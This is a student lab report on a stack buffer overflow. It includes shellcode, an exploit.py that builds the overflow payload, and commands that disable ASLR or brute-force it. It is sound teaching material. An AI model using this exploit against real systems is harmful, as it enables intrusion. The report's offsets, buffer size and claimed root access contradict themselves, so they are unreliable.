Assignment 2, Comp 4580

Katrina Dotzlaw, [redacted]

Task 1: Getting Familliar with Shellcode

First, I ran `make` to compile `call_shellcode.c`. Then I used the following commands to make a32 and a64 executable:

`gcc -m32 -z execstack -o a32.out call_shellcode.c`

`gcc -z execstack -o a64.out call_shellcode.c`

Now, I can run a32 and a64 in the terminal using `a32.out` and `a64.out` respectively. Both a32 and a64 started a shell program. Typing anything into the shell programs started shows a response that starts with `/bin//sh:` which shows that both a32 and a64 start shell programs.

```
[02/12/24]seed@VM:~/.../A2$ a32.out
$ quit
/bin//sh: 1: quit: not found
$ exit
[02/12/24]seed@VM:~/.../A2$ a64.out
$ 
```

Task 2: Understanding the Vulnerable Program

In the makefile in the code folder, I changed the value of L1 to 261. Then I compiled it with `make`.

```
[02/12/24]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=361 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=361 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
```

Task 3: Launching Attack on 32-bit Programs (Level 1)

Finding Addresses

I ran the following command to turn off address randomization:
`sudo sysctl -w kernel.randomize_va_space=0`

Then I turned on debug mode with:
`gcc -m32 -z execstack -fno-stack-protector -g -o stack_dbg stack.c`

Now that debug mode is on, I can create an empty badfile and run the program with gdb:

```
[02/12/24]seed@VM:~/.../code$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[02/12/24]seed@VM:~/.../code$ gcc -m32 -z execstack -fno-stack-protector -g
-o stack_dbg stack.c
[02/12/24]seed@VM:~/.../code$ touch badfile
[02/12/24]seed@VM:~/.../code$ gbd stack_dbg
```

I created a breakpoint at `bof` in `stack.c` by running `b bof` in gbd. A breakpoint was ccreated at `0x12ad`. Then I started executing the program using `run`, which will stop at the breakpoint.

```
Reading symbols from stack_dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/CompSec/A2/Labsetup/code/stack_dbg
Input size: 0
```

After the breakpoint at `bof` is hit, I told gdb to go to the next line. This line is where the `ebp` register is set to point to the current stack frame. Now that `ebp` is set, I used `p $ebp` to get the address. The buffer has also been set so I used `p &buffer` to get the buffer start address. Next, I used `p/d 0xffffcb48 - 0xffffc9d7` to find the space between the frame pointer (ebp) and the buffer, which is 171 (in hex).

```
20              strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb48
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffc9d7
gdb-peda$ p/d 0xffffcb48 - 0xffffc9d7
$3 = 171
gdb-peda$ quit
```

Note: I took this screenshot before I fixed a bug that was causing the return address to be overridden by NOPs, so I just manually added the correct values of `&buffer` and the result of `ebp-buffer` in MS Paint.

Additionally, the return address is stored in `0xffffcb48 + 4` (ie 112) and since I am planning on running `exploit.py` outside of gbd, the first address I can jump to is `0xffffcb48 + 200`.

Exploit.py

I changed the following in `exploit.py` (as instructed by the required reading):

- I added the shellcode given by the required reading (lines 5-17)
- I changed `content[start:start + len(shellcode)] = shellcode` to `content[start:] = shellcode` because that's what the required reading had.
- I changed the value of `ret` to be `0xffffcb48` (the ebp I found) and added 200 (because that's what the required reading used).
- I changed that value of `offset` to be `0x171 + 4`, since the space between ebp and buffer is 171 (and then add 4 to that).

C:\Users[redacted]A2\exploit.py - Notepad++

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?

A2.md exploit.py

```
1  #!/usr/bin/python3
2  import sys
3
4  # Replaced with shellcode from textbook
5  shellcode= (
6  "\x31\xc0"
7  "\x50"
8  "\x68""//sh"
9  "\x68""/bin"
10 "\x89\xe3"
11 "\x50"
12 "\x53"
13 "\x89\xe1"
14 "\x99"
15 "\xb0\x0b"
16 "\xcd\x80"
17 ).encode('latin-1')
18
19 # Fill the content with NOP's
20 content = bytearray(0x90 for i in range(517))
21
22 ##################################################################
23 # Put the shellcode at the end of the payload
24 start = 517 - len(shellcode)
25
26 #content[start:start + len(shellcode)] = shellcode
27 content[start:] = shellcode
28
29 ret = 0xffffcb48 + 200
30 # ebp + 200 bc of gbd debugging method potentially running other methods & bc ret cannot have 0s in any b
31
32 #offset = (0xffffcb48 - ) + 4 # ebp + 4 (0xffffcb48 + 4)
33 offset = 0x171 + 4
34 L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
35 content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
36 #content[112:116] = (ret).to_bytes(4,byteorder='little')
37 ##################################################################
38
39 # Write the content to a file
40 with open('badfile', 'wb') as f:
41   f.write(content)
42
```

Getting Root Access

Now I can use `exploit.py` to write contents to `badfile` using the following process:

1. Make `exploit.py` executable using `chmod u+x exploit.py` in the terminal.

2. Remove the old `badfile` with `rm badfile` in the terminal since `exploit.py` creates and writes to its own `badfile`.

3. Run `exploit.py` with `exploit.py` in the terminal.

```
[02/12/24]seed@VM:~/.../code$ chmod u+x exploit.py
[02/12/24]seed@VM:~/.../code$ rm badfile
[02/12/24]seed@VM:~/.../code$ exploit.py
[02/12/24]seed@VM:~/.../code$ 
```

4. Compile `stack-L1` with `make`.

5. Run `stack-L1` with `./stack-L1` in the terminal.

Now the shellcode is started and when I type `id` into the shell terminal, I get proof of root access.

```
[02/12/24]seed@VM:~/.../code$ rm badfile
[02/12/24]seed@VM:~/.../code$ exploit.py
[02/12/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ 
```

Task 8: Defeating Address Randomization

To start, I turned address randomization back on with `sudo sysctl-w kernel.randomize_va_space=2`. Then I ran `./brute-force.sh` in the terminal.

```
12 minutes and 13 seconds elapsed.
The program has been running 238699 times so far.
Input size: 517
$ 
```

It took just over 12 minutes to defeat address randomization and cause the buffer overflow exploit. The element of randomness will cause the time taken for the program to succeed to vary. It's likely that running the program multiple times will give greatly varying results. Additionally, the program segmentation faulted 238,698 times before it succeeded on the 238,699th time. Again, this is due to the degree of randomness and will either improve or get worse in additional runs of the program.